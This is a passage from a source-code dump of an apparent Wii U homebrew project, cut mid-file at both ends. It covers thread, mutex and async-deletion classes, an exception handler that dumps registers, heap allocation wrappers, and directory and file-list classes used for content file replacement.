      }\n        deleterInstance->deleteMutex.unlock();\n        deleterInstance->resumeThread();\n    }\n}\n\nvoid AsyncDeleter::executeThread(void)\n{\n    while(!exitApplication || !realDeleteElements.empty())\n    {\n        if(realDeleteElements.empty()) suspendThread();\n        //! delete elements that require post process deleting\n        //! because otherwise they would block or do invalid access on GUI thread\n        while(!realDeleteElements.empty())\n        {\n            deleteMutex.lock();\n            AsyncDeleter::Element *element = realDeleteElements.front();\n            realDeleteElements.pop();\n            deleteMutex.unlock();\n\n            delete element;\n        }\n    }\n\n}\n"
  },
  {
    "path": "src/system/AsyncDeleter.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _ASYNC_DELETER_H\n#define _ASYNC_DELETER_H\n\n#include <queue>\n#include \"CThread.h\"\n#include \"CMutex.h\"\n\nclass AsyncDeleter : public CThread\n{\npublic:\n    static void destroyInstance()\n    {\n        if(deleterInstance != NULL){\n            delete deleterInstance;\n            deleterInstance = NULL;\n        }\n    }\n\n    class Element\n    {\n    public:\n        Element() {}\n        virtual ~Element() {}\n    };\n\n    static void pushForDelete(AsyncDeleter::Element *e)\n    {\n        if(!deleterInstance)\n            deleterInstance = new AsyncDeleter;\n        deleterInstance->deleteElements.push(e);\n    }\n\n     static bool deleteListEmpty()\n    {\n        if(!deleterInstance)\n            return true;\n        return deleterInstance->deleteElements.empty();\n    }\n\n     static bool realListEmpty()\n    {\n        if(!deleterInstance)\n            return true;\n        return deleterInstance->realDeleteElements.empty();\n    }\n\n\n\n    static void triggerDeleteProcess(void);\n\nprivate:\n    AsyncDeleter();\n    virtual ~AsyncDeleter();\n\n    static AsyncDeleter *deleterInstance;\n\n    void executeThread(void);\n\n    bool exitApplication;\n    std::queue<AsyncDeleter::Element *> deleteElements;\n    std::queue<AsyncDeleter::Element *> realDeleteElements;\n    CMutex deleteMutex;\n};\n\n#endif // _ASYNC_DELETER_H\n"
  },
  {
    "path": "src/system/CMutex.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _CMUTEX_H_\n#define _CMUTEX_H_\n\n#include <malloc.h>\n#include \"dynamic_libs/os_functions.h\"\n\nclass CMutex\n{\npublic:\n    CMutex() {\n        pMutex = malloc(OS_MUTEX_SIZE);\n        if(!pMutex)\n            return;\n\n        OSInitMutex(pMutex);\n    }\n    virtual ~CMutex() {\n        if(pMutex)\n            free(pMutex);\n    }\n\n    void lock(void) {\n        if(pMutex)\n            OSLockMutex(pMutex);\n    }\n    void unlock(void) {\n        if(pMutex)\n            OSUnlockMutex(pMutex);\n    }\n    bool tryLock(void) {\n        if(!pMutex)\n            return false;\n\n        return (OSTryLockMutex(pMutex) != 0);\n    }\nprivate:\n    void *pMutex;\n};\n\nclass CMutexLock\n{\npublic:\n    CMutexLock() {\n        mutex.lock();\n    }\n    virtual ~CMutexLock() {\n        mutex.unlock();\n    }\nprivate:\n    CMutex mutex;\n};\n\n#endif // _CMUTEX_H_\n"
  },
  {
    "path": "src/system/CThread.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef CTHREAD_H_\n#define CTHREAD_H_\n\n#include <gctypes.h>\n#include <malloc.h>\n#include <unistd.h>\n#include \"dynamic_libs/os_functions.h\"\n#include \"utils/logger.h\"\n\nclass CThread\n{\npublic:\n\ttypedef void (* Callback)(CThread *thread, void *arg);\n\n\t//! constructor\n\tCThread(s32 iAttr, s32 iPriority = 16, s32 iStackSize = 0x8000, CThread::Callback callback = NULL, void *callbackArg = NULL)\n\t\t: pThread(NULL)\n\t\t, pThreadStack(NULL)\n\t\t, pCallback(callback)\n\t\t, pCallbackArg(callbackArg)\n\t{\n\t    //! save attribute assignment\n\t    iAttributes = iAttr;\n\t\t//! allocate the thread\n\t\tpThread = (OSThread*) memalign(8, 0x1000);\n\t\t//! allocate the stack\n\t\tpThreadStack = (u8 *) memalign(0x20, iStackSize);\n        //! create the thread\n\t\tif(pThread && pThreadStack)\n            OSCreateThread(pThread, &CThread::threadCallback, 1, this, (u32)pThreadStack+iStackSize, iStackSize, iPriority, iAttributes);\n\t}\n\n\t//! destructor\n\tvirtual ~CThread() { shutdownThread(); }\n\n\tstatic CThread *create(CThread::Callback callback, void *callbackArg, s32 iAttr = eAttributeNone, s32 iPriority = 16, s32 iStackSize = 0x8000)\n\t{\n\t    return ( new CThread(iAttr, iPriority, iStackSize, callback, callbackArg) );\n\t}\n\n\t//! Get thread ID\n\tvirtual void* getThread() const { return pThread; }\n\t//! Thread entry function\n\tvirtual void executeThread(void)\n\t{\n\t    if(pCallback)\n            pCallback(this, pCallbackArg);\n\t}\n\t//! Suspend thread\n\tvirtual void suspendThread(void) { if(isThreadSuspended()) return; if(pThread) OSSuspendThread(pThread); }\n\t//! Resume thread\n\tvirtual void resumeThread(void) { if(!isThreadSuspended()) return; if(pThread) OSResumeThread(pThread); }\n\t//! Set thread priority\n\tvirtual void setThreadPriority(s32 prio) { if(pThread) OSSetThreadPriority(pThread, prio); }\n\t//! Check if thread is suspended\n\tvirtual bool isThreadSuspended(void) const { if(pThread) return OSIsThreadSuspended(pThread); return false; }\n\t//! Check if thread is terminated\n\tvirtual bool isThreadTerminated(void) const { if(pThread) return OSIsThreadTerminated(pThread); return false; }\n\t//! Check if thread is running\n\tvirtual bool isThreadRunning(void) const { return !isThreadSuspended() && !isThreadRunning(); }\n\t//! Shutdown thread\n\tvirtual void shutdownThread(void)\n\t{\n\t\t//! wait for thread to finish\n\t\tif(pThread && !(iAttributes & eAttributeDetach))\n\t\t{\n\t\t    while(isThreadSuspended()){\n                resumeThread();\n            }\n\t\t\tOSJoinThread(pThread, NULL);\n\t\t}\n\t\t//! free the thread stack buffer\n\t\tif(pThreadStack){\n\t\t\tfree(pThreadStack);\n        }\n\t\tif(pThread)\n\t\t\tfree(pThread);\n\t\tpThread = NULL;\n\t\tpThreadStack = NULL;\n\t}\n    //! Thread attributes\n\tenum eCThreadAttributes\n\t{\n\t    eAttributeNone              = 0x07,\n\t    eAttributeAffCore0          = 0x01,\n\t    eAttributeAffCore1          = 0x02,\n\t    eAttributeAffCore2          = 0x04,\n\t    eAttributeDetach            = 0x08,\n\t    eAttributePinnedAff         = 0x10\n\t};\nprivate:\n\tstatic s32 threadCallback(s32 argc, void *arg)\n\t{\n\t\t//! After call to start() continue with the internal function\n\t\t((CThread *) arg)->executeThread();\n\t\treturn 0;\n\t}\n    s32 iAttributes;\n\tOSThread *pThread;\n\tu8 *pThreadStack;\n\tCallback pCallback;\n\tvoid *pCallbackArg;\n};\n\n#endif\n"
  },
  {
    "path": "src/system/exception_handler.c",
    "content": "#include <stdio.h>\n#include \"dynamic_libs/os_functions.h\"\n#include \"utils/logger.h\"\n#include \"exception_handler.h\"\n\n#define OS_EXCEPTION_MODE_GLOBAL_ALL_CORES      4\n\n#define OS_EXCEPTION_DSI                        2\n#define OS_EXCEPTION_ISI                        3\n#define OS_EXCEPTION_PROGRAM                    6\n\n\n#define CPU_STACK_TRACE_DEPTH\t\t10\n#define __stringify(rn)\t\t\t\t#rn\n\n#define mfspr(_rn) \\\n({\tregister uint32_t _rval = 0; \\\n\tasm volatile(\"mfspr %0,\" __stringify(_rn) \\\n\t: \"=r\" (_rval));\\\n\t_rval; \\\n})\n\ntypedef struct _framerec {\n\tstruct _framerec *up;\n\tvoid *lr;\n} frame_rec, *frame_rec_t;\n\nstatic const char *exception_names[] = {\n    \"DSI\",\n    \"ISI\",\n    \"PROGRAM\"\n};\n\nstatic const char exception_print_formats[18][45] = {\n     \"Exception type %s occurred!\\n\",                       // 0\n     \"GPR00 %08X GPR08 %08X GPR16 %08X GPR24 %08X\\n\",       // 1\n     \"GPR01 %08X GPR09 %08X GPR17 %08X GPR25 %08X\\n\",       // 2\n     \"GPR02 %08X GPR10 %08X GPR18 %08X GPR26 %08X\\n\",       // 3\n     \"GPR03 %08X GPR11 %08X GPR19 %08X GPR27 %08X\\n\",       // 4\n     \"GPR04 %08X GPR12 %08X GPR20 %08X GPR28 %08X\\n\",       // 5\n     \"GPR05 %08X GPR13 %08X GPR21 %08X GPR29 %08X\\n\",       // 6\n     \"GPR06 %08X GPR14 %08X GPR22 %08X GPR30 %08X\\n\",       // 7\n     \"GPR07 %08X GPR15 %08X GPR23 %08X GPR31 %08X\\n\",       // 8\n     \"LR    %08X SRR0  %08x SRR1  %08x\\n\",                  // 9\n     \"DAR   %08X DSISR %08X\\n\",                             // 10\n     \"\\nSTACK DUMP:\",                                       // 11\n     \" --> \",                                               // 12\n      \" -->\\n\",                                             // 13\n      \"\\n\",                                                 // 14\n      \"%p\",                                                 // 15\n      \"\\nCODE DUMP:\\n\",                                     // 16\n      \"%p:  %08X %08X %08X %08X\\n\",                         // 17\n};\n\nstatic unsigned char exception_cb(void * c, unsigned char exception_type) {\n    char buf[850];\n    int pos = 0;\n\n    OSContext *context = (OSContext *) c;\n    /*\n     * This part is mostly from libogc. Thanks to the devs over there.\n     */\n\tpos += sprintf(buf + pos, exception_print_formats[0], exception_names[exception_type]);\n\tpos += sprintf(buf + pos, exception_print_formats[1], context->gpr[0], context->gpr[8], context->gpr[16], context->gpr[24]);\n\tpos += sprintf(buf + pos, exception_print_formats[2], context->gpr[1], context->gpr[9], context->gpr[17], context->gpr[25]);\n\tpos += sprintf(buf + pos, exception_print_formats[3], context->gpr[2], context->gpr[10], context->gpr[18], context->gpr[26]);\n\tpos += sprintf(buf + pos, exception_print_formats[4], context->gpr[3], context->gpr[11], context->gpr[19], context->gpr[27]);\n\tpos += sprintf(buf + pos, exception_print_formats[5], context->gpr[4], context->gpr[12], context->gpr[20], context->gpr[28]);\n\tpos += sprintf(buf + pos, exception_print_formats[6], context->gpr[5], context->gpr[13], context->gpr[21], context->gpr[29]);\n\tpos += sprintf(buf + pos, exception_print_formats[7], context->gpr[6], context->gpr[14], context->gpr[22], context->gpr[30]);\n\tpos += sprintf(buf + pos, exception_print_formats[8], context->gpr[7], context->gpr[15], context->gpr[23], context->gpr[31]);\n\tpos += sprintf(buf + pos, exception_print_formats[9], context->lr, context->srr0, context->srr1);\n\n\t//if(exception_type == OS_EXCEPTION_DSI) {\n        pos += sprintf(buf + pos, exception_print_formats[10], context->ex1, context->ex0); // this freezes\n\t//}\n\n    void *pc = (void*)context->srr0;\n    void *lr = (void*)context->lr;\n    void *r1 = (void*)context->gpr[1];\n\tregister uint32_t i = 0;\n\tregister frame_rec_t l,p = (frame_rec_t)lr;\n\n\tl = p;\n\tp = r1;\n\tif(!p)\n        asm volatile(\"mr %0,%%r1\" : \"=r\"(p));\n\n\tpos += sprintf(buf + pos, exception_print_formats[11]);\n\n\tfor(i = 0; i < CPU_STACK_TRACE_DEPTH-1 && p->up; p = p->up, i++) {\n\t\tif(i % 4)\n            pos += sprintf(buf + pos, exception_print_formats[12]);\n\t\telse {\n\t\t\tif(i > 0)\n                pos += sprintf(buf + pos, exception_print_formats[13]);\n\t\t\telse\n                pos += sprintf(buf + pos, exception_print_formats[14]);\n\t\t}\n\n\t\tswitch(i) {\n\t\t\tcase 0:\n\t\t\t\tif(pc)\n                    pos += sprintf(buf + pos, exception_print_formats[15],pc);\n\t\t\t\tbreak;\n\t\t\tcase 1:\n\t\t\t\tif(!l)\n                    l = (frame_rec_t)mfspr(8);\n\t\t\t\tpos += sprintf(buf + pos, exception_print_formats[15],(void*)l);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tpos += sprintf(buf + pos, exception_print_formats[15],(void*)(p->up->lr));\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\t//if(exception_type == OS_EXCEPTION_DSI) {\n\t\tuint32_t *pAdd = (uint32_t*)context->srr0;\n\t\tpos += sprintf(buf + pos, exception_print_formats[16]);\n\t\t// TODO by Dimok: this was actually be 3 instead of 2 lines in libogc .... but there is just no more space anymore on the screen\n\t\tfor (i = 0; i < 8; i += 4)\n            pos += sprintf(buf + pos, exception_print_formats[17], &(pAdd[i]),pAdd[i], pAdd[i+1], pAdd[i+2], pAdd[i+3]);\n\t//}\n    log_print(buf);\n    OSFatal(buf);\n    return 1;\n}\n\nstatic unsigned char dsi_exception_cb(OSContext * context) {\n    return exception_cb(context, 0);\n}\nstatic unsigned char isi_exception_cb(OSContext * context) {\n    return exception_cb(context, 1);\n}\nstatic unsigned char program_exception_cb(OSContext * context) {\n    return exception_cb(context, 2);\n}\n\nvoid setup_os_exceptions(void) {\n    OSSetExceptionCallback(OS_EXCEPTION_DSI, &dsi_exception_cb);\n    OSSetExceptionCallback(OS_EXCEPTION_ISI, &isi_exception_cb);\n    OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, &program_exception_cb);\n}\n"
  },
  {
    "path": "src/system/exception_handler.h",
    "content": "#ifndef __EXCEPTION_HANDLER_H_\n#define __EXCEPTION_HANDLER_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid setup_os_exceptions(void);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n"
  },
  {
    "path": "src/system/memory.c",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <malloc.h>\n#include <string.h>\n#include \"dynamic_libs/os_functions.h\"\n#include \"common/common.h\"\n#include \"memory.h\"\n\n#define MEMORY_ARENA_1          0\n#define MEMORY_ARENA_2          1\n#define MEMORY_ARENA_3          2\n#define MEMORY_ARENA_4          3\n#define MEMORY_ARENA_5          4\n#define MEMORY_ARENA_6          5\n#define MEMORY_ARENA_7          6\n#define MEMORY_ARENA_8          7\n#define MEMORY_ARENA_FG_BUCKET  8\n\n//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n//! Memory functions\n//! This is the only place where those are needed so lets keep them more or less private\n//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------\nextern u32 * pMEMAllocFromDefaultHeapEx;\nextern u32 * pMEMAllocFromDefaultHeap;\nextern u32 * pMEMFreeToDefaultHeap;\n\nextern s32 (* MEMGetBaseHeapHandle)(s32 mem_arena);\nextern u32 (* MEMGetAllocatableSizeForFrmHeapEx)(s32 heap, s32 align);\nextern void *(* MEMAllocFromFrmHeapEx)(s32 heap, u32 size, s32 align);\nextern void (* MEMFreeToFrmHeap)(s32 heap, s32 mode);\nextern void *(* MEMAllocFromExpHeapEx)(s32 heap, u32 size, s32 align);\nextern s32 (* MEMCreateExpHeapEx)(void* address, u32 size, unsigned short flags);\nextern void *(* MEMDestroyExpHeap)(s32 heap);\nextern void (* MEMFreeToExpHeap)(s32 heap, void* ptr);\n\nstatic s32 mem1_heap = -1;\nstatic s32 bucket_heap = -1;\n\nvoid memoryInitialize(void)\n{\n    s32 mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1);\n    u32 mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4);\n    void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4);\n    if(mem1_memory)\n        mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0);\n\n    s32 bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET);\n    u32 bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4);\n    void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4);\n    if(bucket_memory)\n        bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0);\n}\n\nvoid memoryRelease(void)\n{\n    MEMDestroyExpHeap(mem1_heap);\n    MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3);\n    mem1_heap = -1;\n\n    MEMDestroyExpHeap(bucket_heap);\n    MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3);\n    bucket_heap = -1;\n}\n\n//!-------------------------------------------------------------------------------------------\n//! wraps\n//!-------------------------------------------------------------------------------------------\nvoid *__wrap_malloc(size_t size)\n{\n    // pointer to a function resolve\n\treturn ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size);\n}\n\nvoid *__wrap_memalign(size_t align, size_t size)\n{\n    if (align < 4)\n        align = 4;\n\n    // pointer to a function resolve\n    return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align);\n}\n\nvoid __wrap_free(void *p)\n{\n    // pointer to a function resolve\n    if(p != 0)\n        ((void (*)(void *))(*pMEMFreeToDefaultHeap))(p);\n}\n\nvoid *__wrap_calloc(size_t n, size_t size)\n{\n    void *p = __wrap_malloc(n * size);\n\tif (p != 0) {\n\t\tmemset(p, 0, n * size);\n\t}\n\treturn p;\n}\n\nsize_t __wrap_malloc_usable_size(void *p)\n{\n    //! TODO: this is totally wrong and needs to be addressed\n\treturn 0x7FFFFFFF;\n}\n\nvoid *__wrap_realloc(void *ptr, size_t size)\n{\n    void *newPtr;\n\n    if (!ptr) {\n        newPtr = __wrap_malloc(size);\n        if (!newPtr) { goto error; }\n    } else {\n        newPtr = __wrap_malloc(size);\n        if (!newPtr) { goto error; }\n\n        memcpy(newPtr, ptr, size);\n\n        __wrap_free(ptr);\n    }\n\n    return newPtr;\nerror:\n    return NULL;\n}\n    /*\n    void *new_ptr = __wrap_malloc(size);\n\tif (new_ptr != 0)\n\t{\n\t\tmemcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size);\n\t\t__wrap_free(p);\n\t}\n\treturn new_ptr;\n}*/\n\n//!-------------------------------------------------------------------------------------------\n//! reent versions\n//!-------------------------------------------------------------------------------------------\nvoid *__wrap__malloc_r(struct _reent *r, size_t size)\n{\n\treturn __wrap_malloc(size);\n}\n\nvoid *__wrap__calloc_r(struct _reent *r, size_t n, size_t size)\n{\n    return __wrap_calloc(n, size);\n}\n\nvoid *__wrap__memalign_r(struct _reent *r, size_t align, size_t size)\n{\n    return __wrap_memalign(align, size);\n}\n\nvoid __wrap__free_r(struct _reent *r, void *p)\n{\n    __wrap_free(p);\n}\n\nsize_t __wrap__malloc_usable_size_r(struct _reent *r, void *p)\n{\n    return __wrap_malloc_usable_size(p);\n}\n\nvoid *__wrap__realloc_r(struct _reent *r, void *p, size_t size)\n{\n    return __wrap_realloc(p, size);\n}\n\n//!-------------------------------------------------------------------------------------------\n//! some wrappers\n//!-------------------------------------------------------------------------------------------\nvoid * MEM2_alloc(u32 size, u32 align)\n{\n    return __wrap_memalign(align, size);\n}\n\nvoid MEM2_free(void *ptr)\n{\n    __wrap_free(ptr);\n}\n\nvoid * MEM1_alloc(u32 size, u32 align)\n{\n    if (align < 4)\n        align = 4;\n    return MEMAllocFromExpHeapEx(mem1_heap, size, align);\n}\n\nvoid MEM1_free(void *ptr)\n{\n    MEMFreeToExpHeap(mem1_heap, ptr);\n}\n\nvoid * MEMBucket_alloc(u32 size, u32 align)\n{\n    if (align < 4)\n        align = 4;\n    return MEMAllocFromExpHeapEx(bucket_heap, size, align);\n}\n\nvoid MEMBucket_free(void *ptr)\n{\n    MEMFreeToExpHeap(bucket_heap, ptr);\n}\n"
  },
  {
    "path": "src/system/memory.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef __MEMORY_H_\n#define __MEMORY_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <malloc.h>\n\nvoid memoryInitialize(void);\nvoid memoryRelease(void);\n\nvoid * MEM2_alloc(u32 size, u32 align);\nvoid MEM2_free(void *ptr);\n\nvoid * MEM1_alloc(u32 size, u32 align);\nvoid MEM1_free(void *ptr);\n\nvoid * MEMBucket_alloc(u32 size, u32 align);\nvoid MEMBucket_free(void *ptr);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __MEMORY_H_\n"
  },
  {
    "path": "src/utils/Directory.cpp",
    "content": "#include \"Directory.h\"\n#include <string.h>\n#include <stdio.h>\n\nextern \"C\" {\n  // Get declaration for f(int i, char c, float x)\n  #include \"utils/logger.h\" \n  #include \"common/common.h\"\n}\n\nDirectory::Directory(std::string name_){\n\tname = name_;\n}\n\nDirectory::~Directory(){\n\tfor(unsigned int i = 0; i < folder.size(); i++){\n\t\tdelete folder[i];\n\t}\n}\n\nint Directory::getSize()\n{\n\tint dir_size = sizeof(Directory);\n\tint file_size = sizeof(std::string) * files.capacity();\n\tfor(unsigned int i = 0; i < files.size(); i++){\t\n\t\tfile_size += files[i].capacity();\n\t}\n\tint folder_size = sizeof(Directory*) * folder.capacity();\n\tint size = 0;\n\tfor(unsigned int i = 0; i < folder.size(); i++){\t\n\t\tsize += folder[i]->getSize();\n\t}\n\tchar log_size[100];\n\tsize += dir_size +file_size + folder_size;\n\tsprintf(log_size,\"Size of %s: %d Bytes | Dirsize: %d | Folder %d(%d Bytes) Files: %d (%d Bytes)\",getFolderName().c_str(),size,dir_size,folder.size(),folder_size,files.size(),file_size);\n\treturn size;\n}\n\n\nvoid Directory::addFile(std::string name_){\n\tfiles.push_back(name_);\n}\nvoid Directory::addFolder(Directory * dir){\n\tfolder.push_back(dir);\n}\n\nstd::string Directory::getFolderName(){\n\treturn name;\n}\n\nbool Directory::isInFolder(std::string file_path){\n\tchar * start = (char*)file_path.c_str();\n\tchar * end = start;\n\twhile(*end != '/' && *end != '\\0'){\n\t\tend++;\n\t}\n\tif(*end == '\\0'){ // only a file\n\t\tif(checkFile(file_path)){\n\t\t\treturn true;\n\t\t}\n\t}else{\n\t\tstd::string rest = std::string(end+1);\n\t\t*end = '\\0';\n\t\tDirectory * folder = getFolder(std::string(start));\n\t\tif(folder != NULL){\n\t\t\treturn folder->isInFolder(rest);\n\t\t}\t\t\n\t}\n\treturn false;\n}\n\nbool Directory::checkFile(std::string filename){\n\tfor(unsigned int i = 0; i < files.size(); i++){\t\n\t\tif(files[i].compare(filename) == 0){\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\n\nDirectory * Directory::getFolder(std::string foldername){\n\tDirectory * result = NULL;\n\tfor(unsigned int i = 0; i < folder.size(); i++){\n\t\tif(folder[i]->getFolderName().compare(foldername) == 0){\n\t\t\tresult = folder[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn result;\n}\n\nDirectory * Directory::getParent(){\n\treturn this->parent;\n}\n\nvoid Directory::setParent(Directory * parent){\n\tthis->parent = parent;\n}\n\nvoid Directory::printFolderRecursive(std::string base){\n\tbase += \"/\";\n\tbase += getFolderName();\n\t\n\tfor(unsigned int i = 0; i < folder.size(); i++){\n\t\tfolder[i]->printFolderRecursive(std::string(base));\n\t}\t\t\n\t\n\tfor(unsigned int i = 0; i < files.size(); i++){\n\t\tlog_printf(\"%s/%s\",base.c_str(),files[i].c_str()); ;\n\t}\n}\n\nstd::string Directory::getFileList(){\n\tstd::string strBuffer;\n\t\n\tfor(unsigned int i = 0; i < folder.size(); i++){\n\t\tstrBuffer += DIR_IDENTIFY + folder[i]->getFolderName() + \"\\n\";\n\t\tstrBuffer += folder[i]->getFileList();\n\t\tstrBuffer += std::string(PARENT_DIR_IDENTIFY) + \"\\n\";\t\t\n\t}\t\t\n\t\n\tfor(unsigned int i = 0; i < files.size(); i++){\n\t\tstrBuffer += files[i] + \"\\n\";\n\t}\n\treturn strBuffer;\n}\n\n\n\n\n"
  },
  {
    "path": "src/utils/Directory.h",
    "content": "#include <string>\n#include <vector>\n\nclass Directory\n{\n   public:\n\t\tDirectory(std::string name);\n\t\t~Directory();\n\t\tvoid addFile(std::string name_);\n\t\tvoid addFolder(Directory * dir);\n\t\tstd::string getFolderName(void);\n\t\tvoid printFolderRecursive(std::string base);\n\t\tDirectory * getFolder(std::string foldername);\n\t\tbool isInFolder(std::string file_path);\n\t\tbool checkFile(std::string filename);\n\t\tint getSize();\n\t\tstd::string getFileList();\n\t\tDirectory * getParent();\n\t\tvoid setParent(Directory * parent);\n\tprivate:\n\t\tstd::string name;\n\t\tstd::vector<std::string> files;\n\t\tstd::vector<Directory*> folder;\n\t\tDirectory * parent = NULL;\n};"
  },
  {
    "path": "src/utils/FileReplacer.cpp",
    "content": "#include \"FileReplacer.h\"\n#include \"utils/logger.h\"\n#include <stdio.h>\n#include <string.h>\n#include <vector>\n#include <malloc.h>\n#include \"utils/StringTools.h\"\n#include \"common/common.h\"\n#include \"fs/fs_utils.c\"\n\n\nFileReplacer::FileReplacer(std::string path,std::string content,std::string filename,void * pClient,void * pCmd){\n\tbool result = false;\n\tdir_all = new Directory(\"content\");\n    std::string filepath = path + std::string(\"/\") + filename;\n    log_printf(\"Read from file for replacement: %s\\n\",filename.c_str());\n    result = this->readFromFile(pClient,pCmd,filepath,dir_all);\n    if(!result){\n        log_print(\"Error!\\n\");\n    }else{\n        //dir_all->printFolderRecursive(\"\");\n    }\n}\n\nFileReplacer::FileReplacer(std::string filepath,std::string content,std::string filename, ProgressWindow & progressWindow){\n    int entries = 0;\n    progressWindow.setTitle(\"Creating filelist.txt:\");\n\n    dir_all = new Directory(\"content\");\n    read_dir(filepath + std::string(\"/\") + content, dir_all, &entries, progressWindow);\n    log_printf(\"Found %d entries\\n\",entries);\n}\n\nstd::string FileReplacer::getFileListAsString(){\n\treturn dir_all->getFileList();\n}\n\nint FileReplacer::getSize()\n{\n\tint size = sizeof(FileReplacer);\n\tsize += dir_all->getSize();\n\treturn size;\n}\n\nFileReplacer::~FileReplacer()\n{\n\tdelete dir_all;\n}\n\nbool FileReplacer::readFromFile(void *pClient, void *pCmd, const std::string & path , Directory* dir){\n\ts32 handle = 0;\n\tFSStat stats;\n\tint ret = -1;\n\tif(FSGetStat(pClient, pCmd, path.c_str(),&stats,FS_RET_ALL_ERROR) == FS_STATUS_OK){\n\t\tchar * file  = (char *) malloc((sizeof(char)*stats.size)+1);\n\t\tif(!file){\n\t\t\tlog_print(\"Failed to allocate space for reading the file\\n\");\n\t\t\treturn false;\n\t\t}\n\t\tfile[stats.size] = '\\0';\n\t\tif ((ret = FSOpenFile(pClient, pCmd, path.c_str(),\"r\", &handle, FS_RET_ALL_ERROR)) == FS_STATUS_OK){\n\t\t\tint total_read = 0;\n\t\t\tint ret2 = 0;\n\t\t\twhile ((ret2 = FSReadFile(pClient,  pCmd, file+total_read, 1, stats.size-total_read, handle, 0, FS_RET_ALL_ERROR)) > 0){\n\t\t\t\tlog_print(\"Reading filelist.txt\\n\");\n\t\t\t\ttotal_read += ret2;\n\t\t\t}\n\t\t}\n\t\tDirectory * dir_cur = dir;\n\t\tchar * ptr;\n\t\tchar delimiter[] = { '\\n', '\\r' };\n\t\tptr = strtok (file,delimiter);\n\t\twhile (ptr != NULL)\n\t\t{\n            std::string dirname(ptr);\n            if(dirname.compare(PARENT_DIR_IDENTIFY) == 0){ // back dir\n                dir_cur = dir_cur->getParent();\n                if(dir_cur == NULL){\n                    log_print(\"Something went wrong. Try to delete the filelist.txt\\n\");\n                    free(file);\n                    return false;\n                }\n            }else if(dirname.substr(0,1).compare(DIR_IDENTIFY) == 0){ //DIR\n                dirname = dirname.substr(1);\n                Directory * dir_new = new Directory(dirname);\n                dir_cur->addFolder(dir_new);\n                dir_new->setParent(dir_cur);\n                dir_cur = dir_new;\n            }else {\n                dir_cur->addFile(dirname);\n            }\n\t\t\tptr = strtok(NULL, 